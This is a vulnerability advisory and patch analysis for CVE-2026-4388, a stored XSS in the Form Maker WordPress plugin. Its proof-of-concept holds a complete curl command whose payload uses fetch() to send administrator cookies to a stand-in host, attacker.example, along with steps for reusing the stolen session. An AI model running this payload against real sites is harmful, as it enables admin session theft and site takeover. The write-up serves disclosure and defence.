CVE-2026-4388: Unauthenticated Stored XSS in Form Maker by 10Web Plugin
Table of Contents
CVE-2026-4388 is a CVSS 7.2 (High) Unauthenticated Stored Cross-Site Scripting vulnerability in the Form Maker by 10Web WordPress plugin. All versions up to and including 1.15.40 are affected. An unauthenticated attacker can inject arbitrary JavaScript into a Matrix field (Text Box input type) via a crafted form submission. The payload fires automatically when an administrator opens the poisoned submission. No click is required. The attacker can hijack the admin session and fully compromise the site.
Vulnerability Summary
| Field | Value |
|---|---|
| Plugin Name | Form Maker by 10Web – Mobile-Friendly Drag & Drop Contact Form Builder |
| Plugin Slug | form-maker |
| CVE ID | CVE-2026-4388 |
| CVSS Score | 7.2 (High) |
| CVSS Vector | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N |
| Vulnerability Type | Unauthenticated Stored Cross-Site Scripting (Stored XSS) |
| Affected Versions | <= 1.15.40 |
| Patched Version | 1.15.41 |
| Published | April 13, 2026 |
| Researcher | Naoya Takahashi (nakko) |
| Wordfence Advisory | Link |
Description
The Form Maker by 10Web plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the Matrix field (Text Box input type). All versions up to and including 1.15.40 are affected. The cause is insufficient input sanitization (sanitize_text_field strips tags but not quotes) and missing output escaping when rendering submission data in the admin Submissions view. Attackers can inject arbitrary JavaScript through a form submission. The script executes in the browser of any administrator who views the submission details.
Technical Analysis
Vulnerable Code Path
The attack flows through two stages: form submission (data stored) and submission review (data displayed).
Stage 1 — Data Storage: frontend/models/form_maker.php
The form submission AJAX endpoint is registered for unauthenticated users:
// form-maker.php:182
add_action('wp_ajax_nopriv_fm_submit_form', array($this, 'FM_front_end_main'));
Inside the type_matrix case, text-box cell values are read directly from POST with only sanitize_text_field applied (the default callback of WDW_FM_Library::get()):
// frontend/models/form_maker.php:2352
$element = WDW_FM_Library(self::PLUGIN)->get(
'wdform_' . $i . "_input_element" . $id . $k . '_' . $j
);
// Default callback: sanitize_text_field
// Strips HTML tags, but DOES NOT strip double-quote characters.
The element values are concatenated with *** separators and stored into the database:
// frontend/models/form_maker.php:2356, 2380
$input_value .= $element . "***";
$value = $rows_count . get(hidden_row) . '***'
. $columns_count . get(hidden_col) . '***'
. get(input_type) . '***'
. $input_value
. '***matrix***';
The stored DB record for a 1×1 text matrix ends up as:
1***Row1***1***Col1***text***<ATTACKER_PAYLOAD>***matrix***
Stage 2 — Data Display: admin/views/FormMakerSubmits.php
When an administrator views a submission’s detail popup (action FormMakerSubmits), the raw DB value is read, split by ***, and the text-type cell value is echoed directly into an HTML attribute:
// admin/views/FormMakerSubmits.php:166-169 (vulnerable version)
$checked = $mat_params[$mat_rows + $mat_columns + 2 + $var_checkbox];
?>
<td style="text-align:center">
<input type="text" value="<?php echo $checked; ?>" disabled /></td>
The $checked variable is the raw value from the database. There is no call to esc_attr() before it is echoed into the value="" attribute. This allows an attacker-supplied double-quote character to break out of the attribute and inject arbitrary HTML event handlers.
Root Cause
The vulnerability is the combination of two weaknesses acting together:
-
Insufficient input sanitization:
sanitize_text_field()callswp_strip_all_tags()internally, which removes HTML tags such as<script>. However, it does not encode or remove double-quote characters ("). An event-handler injection payload like" autofocus onfocus="alert(1)contains no HTML tags and passes throughsanitize_text_fieldunchanged. -
Missing output escaping: The cell value from the database is echoed directly inside an HTML attribute (
value="...") with no call toesc_attr(). This allows the unescaped"to close thevalueattribute and inject additional HTML attributes.
Why Existing Controls Failed
sanitize_text_field is documented for sanitizing plain-text strings for use in database storage or general display, not for injection-safe inclusion inside HTML attributes. The correct function for attribute-safe output is esc_attr(), which encodes " as ". The developer used only sanitize_text_field at input time. Without esc_attr() at output time, the quote characters passed through the entire pipeline unchanged.
Attack Impact
An unauthenticated attacker can:
- Steal administrator session cookies — the injected script can exfiltrate
document.cookieto an attacker-controlled server. - Perform admin-level actions via crafted requests using the victim’s session (create rogue admin accounts, modify site settings, install backdoor plugins).
- Site defacement — redirect the admin browser or alter page content.
- Full site compromise — depending on admin capabilities and server configuration.
The autofocus attribute combined with onfocus causes the payload to fire automatically the moment the administrator’s browser renders the submissions detail view, with no click or hover required.
Proof of Concept
Disclaimer: This PoC is provided for educational and defensive security research purposes only.
Prerequisites
- WordPress installation with the
form-makerplugin installed and activated - Plugin version <= 1.15.40 (confirmed vulnerable: 1.15.40; original reported code: 1.15.37)
- At least one published form containing a Matrix field configured with the Text Box input type
- An administrator account that reviews form submissions
Step-by-Step Reproduction
Step 1: Identify the target form and field IDs
Load any page containing the Form Maker embed and view its HTML source. Locate the hidden inputs that the plugin injects via JavaScript on submit (added by framework/WDW_FM_Library.php):
<input type="hidden" name="wdform_1_input_type1" value="text" />
<input type="hidden" name="wdform_1_hidden_row1" value="***Row 1" />
<input type="hidden" name="wdform_1_hidden_column1" value="***Column 1" />
Note the form ID (the suffix, 1 above) and the field index (the number after wdform_, 1 above).
The text-box cell input inside the form will be named:
wdform_{field_index}_input_element{form_id}{row}_{col}
For the first row, first column of field 1 in form 1: wdform_1_input_element11_1.
Step 2: Submit the malicious payload
Send a POST request to the WordPress AJAX endpoint. No login is needed — wp_ajax_nopriv_fm_submit_form accepts submissions from any visitor.
TARGET="https://example.com"
FORM_ID=1
FIELD_IDX=1
curl -s -X POST "${TARGET}/wp-admin/admin-ajax.php" \
-d "action=fm_submit_form" \
-d "form_id=${FORM_ID}" \
-d "wdform_${FIELD_IDX}_element${FORM_ID}=" \
-d "wdform_${FIELD_IDX}_input_type${FORM_ID}=text" \
--data-urlencode "wdform_${FIELD_IDX}_hidden_row${FORM_ID}=***Row 1" \
--data-urlencode "wdform_${FIELD_IDX}_hidden_column${FORM_ID}=***Col 1" \
--data-urlencode "wdform_${FIELD_IDX}_input_element${FORM_ID}11_1=\" autofocus onfocus=\"fetch('https://attacker.example/steal?c='+document.cookie)\""
A successful response from the server will include a confirmation message or redirect.
Step 3: Verify the malicious submission was stored
Log in as administrator and navigate to:
/wp-admin/admin.php?page=submissions_fm&form_id=<FORM_ID>
The most recent submission should appear in the list.
Step 4: Trigger the XSS
Click the View (detail) link for the poisoned submission. The admin browser opens the submission popup (action FormMakerSubmits), which renders:
<input type="text"
value=""
autofocus
onfocus="fetch('https://attacker.example/steal?c='+document.cookie)"
disabled />
The autofocus attribute causes the input to receive focus immediately on page render. The onfocus event handler fires automatically — no further user interaction is required. The attacker’s server receives the administrator’s session cookie.
Expected Result
The administrator’s session cookie (or any other targeted data) is exfiltrated to the attacker-controlled server without the administrator clicking anything beyond navigating to the submissions page.
Verification
- Monitor
https://attacker.example/stealfor incoming requests. - After the admin views the submission, a GET request arrives with the
c=parameter containing the admin’swordpress_logged_in_*session cookie. - The attacker can use this cookie to log in as administrator without knowing the password.
Patch Analysis
What Changed (1.15.40 → 1.15.41)
The 1.15.41 patch modified six files:
| File | Change |
|---|---|
admin/controllers/FormMakerIpinfoinPopup.php | Replaced unsafe unserialize(file_get_contents(...)) with wp_remote_get() + json_decode(); added esc_url() and esc_attr() on all output |
admin/models/Submissions_fm.php | Fixed multiple SQL injection vulnerabilities using $wpdb->prepare() and $wpdb->esc_like(); sanitized dynamically interpolated label/search values |
booster/AdminBar.php | Restricted unserialize() with allowed_classes => false to prevent PHP object injection |
frontend/controllers/form_maker.php | Added preg_match() and is_callable() validation to prevent attacker-controlled dynamic method calls |
form-maker.php | Version bump to 1.15.41 |
readme.txt | Changelog entry added |
Fix Explanation for the XSS
The core XSS fix adds esc_attr() to the matrix text-box output in admin/views/FormMakerSubmits.php. Line 169 changes echo $checked to echo esc_attr($checked):
- <input type="text" value="<?php echo $checked; ?>" disabled /></td>
+ <input type="text" value="<?php echo esc_attr($checked); ?>" disabled /></td>
esc_attr() converts " → ", preventing attribute breakout. Even if sanitize_text_field allowed the double-quote through at storage time, the output escaping now blocks it at display time.
Code Diff (Key XSS Fix)
--- a/admin/views/FormMakerSubmits.php (1.15.37, vulnerable)
+++ b/admin/views/FormMakerSubmits.php (1.15.41, patched)
@@ -164,7 +164,7 @@
if ( $mat_params[$mat_rows + $mat_columns + 2] == "text" ) {
for ( $l = 1; $l <= $mat_columns; $l++ ) {
$checked = $mat_params[$mat_rows + $mat_columns + 2 + $var_checkbox];
?>
<td style="text-align:center">
- <input type="text" value="<?php echo $checked; ?>" disabled /></td>
+ <input type="text" value="<?php echo esc_attr($checked); ?>" disabled /></td>
<?php
The full 1.15.41 patch also hardened SQL queries, prevented unsafe deserialization, and blocked arbitrary method dispatch — indicating this was a broad security audit, not a single-issue fix.
Timeline
| Date | Event |
|---|---|
| Unknown | Vulnerability discovered by Naoya Takahashi (nakko) |
| April 13, 2026 | Publicly disclosed by Wordfence Intelligence |
| April 13–14, 2026 | Patched version 1.15.41 released |
Remediation
Update the form-maker plugin to version 1.15.41 or later immediately.
If an immediate update is not possible:
- Restrict access to the WordPress admin submissions view to trusted IP addresses only.
- Monitor submission data for unusual patterns (double-quotes,
onfocus,autofocus,onerror,onmouseoverkeywords). - Consider temporarily disabling Matrix fields with Text Box input type.
References
- Wordfence Advisory — CVE-2026-4388
- Vulnerable output line — FormMakerSubmits.php:L169 (tag 1.15.37)
- Data retrieval line — FormMakerSubmits.php:L166 (tag 1.15.37)
- Insufficient sanitization — form_maker.php:L2352 (tag 1.15.37)
- SVN Changeset (security patch diff)
Frequently Asked Questions
What is CVE-2026-4388?
CVE-2026-4388 is a CVSS 7.2 High severity Unauthenticated Stored Cross-Site Scripting vulnerability in the Form Maker by 10Web WordPress plugin that lets any visitor inject malicious JavaScript into form submissions, which then executes automatically when an administrator views the submission.
Which versions of Form Maker by 10Web are affected by CVE-2026-4388?
All versions of Form Maker by 10Web up to and including version 1.15.40 are vulnerable. The vulnerability was fixed in version 1.15.41.
What can an attacker do with CVE-2026-4388?
An attacker can steal the administrator's session cookie and use it to log in as an admin without knowing the password. From there, the attacker can create rogue admin accounts, install backdoor plugins, modify site settings, or fully compromise the site.
Does an attacker need to be logged in to exploit CVE-2026-4388?
No login is required. Any unauthenticated visitor can exploit this vulnerability by submitting a crafted form with a malicious payload in a Matrix Text Box field.
How do I fix CVE-2026-4388 in Form Maker by 10Web?
Update the Form Maker by 10Web plugin to version 1.15.41 or later through your WordPress admin dashboard under Plugins, then Updates. If you cannot update immediately, restrict admin access to trusted IP addresses and monitor submissions for suspicious content.
Has Form Maker by 10Web been patched for CVE-2026-4388?
Yes. Version 1.15.41 was released on April 13-14, 2026 and contains the fix for this vulnerability by adding proper output escaping with esc_attr() when rendering submission data in the admin view.